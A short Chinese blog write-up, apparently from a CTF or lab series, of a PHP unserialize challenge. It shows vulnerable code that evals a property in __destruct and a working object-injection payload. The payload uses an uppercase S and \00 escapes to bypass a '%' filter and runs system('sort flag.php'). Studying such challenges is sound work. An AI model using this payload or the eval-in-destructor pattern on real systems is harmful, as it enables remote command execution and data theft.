这篇记录一下第六关
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
这里直接给出payload
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
解释一下,访问私有属性时需要把类用%00包裹起来,但题目过滤了"%"
所以只能使用\00

还需要注意的是,箭头所指的是大写S,大写的S是为了区分大小写,可以理解为让解释器将\00理解为空字符,否则解释器会将\00认为是普通字符串而非空字符
记一个小疑惑:为什么cat和tac没有回显(URL编码后也不行),要用sort才有回显
博客记录了PHP Web安全第六关的payload,即O:6:\secret\:1:{S:12:\\\00secret\\00comm\;s:24:\system('sort flag.php');\;}。解释了访问私有属性时用\\00代替%00的原因,以及大写S的作用。还提出为何cat和tac无回显,sort有回显的疑惑。
6182

被折叠的 条评论
为什么被折叠?



